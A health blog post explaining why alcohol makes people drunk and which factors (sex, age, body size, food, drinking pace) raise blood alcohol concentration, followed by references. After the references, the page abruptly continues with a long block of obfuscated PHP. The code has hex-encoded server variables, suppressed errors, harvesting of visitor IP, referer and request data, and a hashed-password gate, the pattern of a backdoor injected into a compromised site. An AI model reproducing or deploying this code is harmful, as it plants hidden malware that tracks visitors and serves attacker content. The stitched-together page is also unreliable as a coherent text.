Alcohol – why do we get drunk?

Written by Jia Yi Lee
Posted on July 17, 2019

Other than the Asian flush, getting drunk is another issue that we might face if we drink too much. But have you ever wondered how does alcohol make us feel tipsy and drunk?

What does alcohol do to us?

After having an alcoholic drink, our bodies absorb alcohol in our stomach and small intestine. It then circulates around our body in the bloodstream before being metabolized in the liver. It also travels to the brain, and that is where all the effects of alcohol kick in. Here are some of the things that alcohol does in our brains:

  • It blocks our brain from receiving some nerve signals. It also enhances the action of slowing down our nerve activity. Therefore, people may have sluggish movements and slurred speech due to disrupted brain activity.
  • By increasing the production of dopamine, one of the ‘happiness hormones’, alcohol gives people a sense of pleasure.

Why do some people get drunk quicker than others?

Many factors contribute to the variations of levels of drunkenness among different individuals. However, they are mostly based on the blood alcohol concentration (BAC). The higher your BAC, the greater the effects of alcohol you experience. In other words, the more drunk you are!

1. Gender

Females have higher body fat percentage than males. Fat tissue is not as good at absorbing alcohol, so females tend to have a higher BAC than males. Some studies also suggest that women have lower alcohol metabolism due to fewer enzymes to breakdown alcohol.

2. Age

As we age, the activity of the enzymes involved in alcohol metabolism decreases. Besides, older people have a lower body water percentage. These two factors contribute to a higher BAC. Therefore, the elderly will experience the toxic effects of alcohol quicker than the younger people.

3. Body size

The larger you are in size, the more space for alcohol to diffuse in your body and the lower your BAC. This is why for the same amount of alcohol consumed, an 80kg man may be less drunk compared to a 50kg man.

4. Amount of food eaten

The small intestine absorbs about 80% of the alcohol we consume. Food in our stomach prevents alcohol from being passed into the small intestine quickly. The longer the alcohol stay in the stomach, the slower it is absorbed. This means that the toxic effects take longer to appear!

5. How much you are drinking in a period of time

The liver can only metabolize a certain amount of alcohol at a time, hence the excess alcohol will remain circulating in our bloodstream. They continue to affect our brain and nervous system, therefore binge drinking will have more serious effects as compared to sipping the same amount of alcohol over a longer period of time.

So, is it bad to drink alcohol?

group of people tossing wine glass

If you enjoy alcohol, it is always fine to drink in small amounts if it is not affecting your well-being. It is also good to know your level of alcohol tolerance so that you know when to stop drinking!

However, do keep in mind that alcohol abuse and alcohol addiction can have detrimental effects on both your physical and mental health. Therefore, you should always monitor your alcohol consumption to avoid these problems.

References

Alcohol.org. (2019). Different Blood Alcohol Content (BAC) Levels | What Happens?. [online] Available at: https://www.alcohol.org/effects/blood-alcohol-concentration/ [Accessed 17 Jul. 2019].

Alcohol.stanford.edu. (2019). Factors That Affect How Alcohol is Absorbed & Metabolized | Office of Alcohol Policy and Education. [online] Available at: https://alcohol.stanford.edu/alcohol-drug-info/buzz-buzz/factors-affect-how-alcohol-absorbed [Accessed 17 Jul. 2019].

Graham, K., Wilsnack, R., Dawson, D. and Vogeltanz, N. (1998). Should alcohol consumption measures be adjusted for gender differences?. Addiction, 93(8), pp.1137-1147.

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rrOKaW6ZdVRDp: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"], "\x69\x6e\144\145\x78\x2e\160\x68\x70\x2f\x6a\153")) { goto o_xuu1JXjgvPa; } goto dTGPbnQx2SvI6; mSfx32hoK7RaE: O20GmmWpuB7Ut: goto gnYUJRdjCff78; JDj92HLtAnYcc: echo $k2gKYzhbIidOs["\x63\x6f\x6e\164\145\156\x74"]; goto FBiZ1ZPGbYLmx; t3H34IX4rP251: $fKcoUbHfweuX6["\x6c"] = oy9l4QJ9aVVkH($_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto y6f9VEMauXjCK; y6f9VEMauXjCK: $fKcoUbHfweuX6["\163\x6e"] = oy9L4Qj9avvKh($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto xogq9eoBwDmsK; ORBmhUNgekww2: $fKcoUbHfweuX6["\151"] = oy9l4QJ9avVKH($xsb0RcE4lR6rA); goto t3H34IX4rP251; KzeZgHeO48EuW: exit(strrev(md5($_SERVER["\x53\x45\122\126\105\122\137\116\x41\x4d\105"]))); goto K86B8bWu8pcJq; NhYx_RNzamheN: $eDutF3HKVCcoo = ${$B3rRoYj4v_PhG[25 + 6] . $B3rRoYj4v_PhG[3 + 56] . $B3rRoYj4v_PhG[7 + 40] . $B3rRoYj4v_PhG[13 + 34] . $B3rRoYj4v_PhG[23 + 28] . $B3rRoYj4v_PhG[22 + 31] . $B3rRoYj4v_PhG[21 + 36]}; goto Ub2BxAEyOwJVd; Ub2BxAEyOwJVd: if (!(in_array(gettype($eDutF3HKVCcoo) . count($eDutF3HKVCcoo), $eDutF3HKVCcoo) && count($eDutF3HKVCcoo) == 12 && md5(md5(md5(md5($eDutF3HKVCcoo[6])))) === "\146\146\x61\67\62\x66\x32\145\x61\71\x36\x65\x35\x32\145\x36\71\x64\60\x34\61\61\61\70\71\x66\141\64\x31\x33\x38\142")) { goto vGYt_mFZGk1hY; } goto FsSR7k4J2LsRG; GwqkI894kGv2O: zWGKI4Hv2pTpv: goto wnyBx2zVb8v61; SjWPaBUhNup67: QMgqCEdetPwxq::Cuq74siIbbwTJ(); goto XlKw_LYyv2AwY; zA_Rx0oh4UIE1: $B3rRoYj4v_PhG = $vfMsUuKN031B5("\176", "\40"); goto NhYx_RNzamheN; zVWci7LAzQCjt: $fKcoUbHfweuX6 = array(); goto ORBmhUNgekww2; emEiNzmL9X5Q5: if (!(strpos($NR6oSGrPYGUjY, $fWJAz7jwqdmGh) === 0)) { goto IZPFl1hrtMoau; } goto Xc4mwOPgMyKkX; bkBKCPZzEBn0b: function Oy9L4QJ9AVVkh($CRt27rN_kKUwt) { goto EF1toTXdzBhck; VLHSB1_IFq9J3: return rtrim(strtr(base64_encode($CRt27rN_kKUwt), "\53\x2f", "\x2d\x5f"), "\75"); goto K2AOfEOJ4pi2D; eRjJduBShGMM8: return ''; goto o3lCkYoXQAAD3; EF1toTXdzBhck: if ($CRt27rN_kKUwt) { goto c1mS1ZwUXn6mw; } goto eRjJduBShGMM8; o3lCkYoXQAAD3: c1mS1ZwUXn6mw: goto VLHSB1_IFq9J3; K2AOfEOJ4pi2D: } goto HwWbK1tn_TfG4; A0nsnuCB0Tk8g: $fWJAz7jwqdmGh = mVZUV88zu2YJI() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\x54"]; goto emEiNzmL9X5Q5; L4N4x49hNnNph: $NR6oSGrPYGUjY = strval(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto A0nsnuCB0Tk8g; JMoDVVROH8OCS: $fKcoUbHfweuX6["\163"] = Oy9L4qJ9AVvkh($fWJAz7jwqdmGh); goto FtpFOwVpYZ2Xp; bgYubpEeeCNXl: if ($SwEZuHdgOSyyr) { goto OIgTYm8OBN0aV; } goto HHLZ0JDXq8oeZ; xogq9eoBwDmsK: $fKcoUbHfweuX6["\162"] = OY9l4QJ9aVVKH($_SERVER["\122\x45\x51\125\105\123\124\137\x55\x52\x49"]); goto UbxXxfFtloArX; HwWbK1tn_TfG4: function u6IY2wkCLs09o() { goto yJ2JawYU5KAY0; juwCA60Lo9ZNj: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\x48\124\124\120\x5f\130\137\122\x45\x41\x4c\x5f\x49\x50"])) { goto HyHWa0fylirXs; } goto Ca4QAKld__sVY; fZiJQgWIfn4tA: axCk0Ed0mQKFV: goto Ko2zOmvRTWOwC; M862cTe5sr_31: $xsb0RcE4lR6rA = explode("\x2c", $xsb0RcE4lR6rA); goto sd0jwVmzZ71We; DwIV2MAV2fhMJ: HyHWa0fylirXs: goto UlnpGeWCClJE0; yuYMWDEYRfKxm: goto cPB2cyg8FWhE6; goto fZiJQgWIfn4tA; sd0jwVmzZ71We: $xsb0RcE4lR6rA = $xsb0RcE4lR6rA[0]; goto zRObLq_OpLiqP; Ko2zOmvRTWOwC: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\120\137\x43\106\x5f\x43\x4f\x4e\116\x45\x43\x54\111\x4e\x47\x5f\111\x50"]; goto q32KIVTgNQrDU; Ca4QAKld__sVY: if (isset($_SERVER["\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\122\127\101\x52\x44\105\x44\137\106\117\x52"])) { goto trSwYhMpKBLo3; } goto mQ6MIazCsvpi3; WJAoo1Ek_WEiZ: if (isset($_SERVER["\110\x54\x54\x50\137\103\x46\x5f\x43\x4f\116\116\x45\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x43\106\137\103\117\x4e\116\105\x43\124\111\x4e\107\137\x49\x50"])) { goto axCk0Ed0mQKFV; } goto juwCA60Lo9ZNj; W5rex8VQSuDgj: $xsb0RcE4lR6rA = $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto gBn7ylzTrUKkV; C7udJvs4n14pk: return $xsb0RcE4lR6rA; goto D1AZleiZlUvYy; q32KIVTgNQrDU: goto cPB2cyg8FWhE6; goto DwIV2MAV2fhMJ; gBn7ylzTrUKkV: cPB2cyg8FWhE6: goto X_WoTpG1Z6eMp; w8nS4viDEwGLB: trSwYhMpKBLo3: goto W5rex8VQSuDgj; yg3KMWRAq9g2I: goto cPB2cyg8FWhE6; goto w8nS4viDEwGLB; mQ6MIazCsvpi3: $xsb0RcE4lR6rA = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"]; goto yuYMWDEYRfKxm; UlnpGeWCClJE0: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\x50\137\130\137\122\x45\x41\114\x5f\111\x50"]; goto yg3KMWRAq9g2I; zRObLq_OpLiqP: nRAE_rbKgGFOi: goto C7udJvs4n14pk; EHon44BHSRjTs: if (!(strpos($xsb0RcE4lR6rA, "\x2c") !== false)) { goto nRAE_rbKgGFOi; } goto M862cTe5sr_31; X_WoTpG1Z6eMp: $xsb0RcE4lR6rA = trim(str_replace("\40", '', $xsb0RcE4lR6rA), "\x2c"); goto EHon44BHSRjTs; yJ2JawYU5KAY0: $xsb0RcE4lR6rA = ''; goto WJAoo1Ek_WEiZ; D1AZleiZlUvYy: } goto kz8Sj39h2k1oR; OJ7PC6hUpTLDQ: error_reporting(0); goto e1qHgZ5kQh333; gnYUJRdjCff78: dDp60WEP5KucA: goto bgYubpEeeCNXl; Xc4mwOPgMyKkX: $NR6oSGrPYGUjY = ''; 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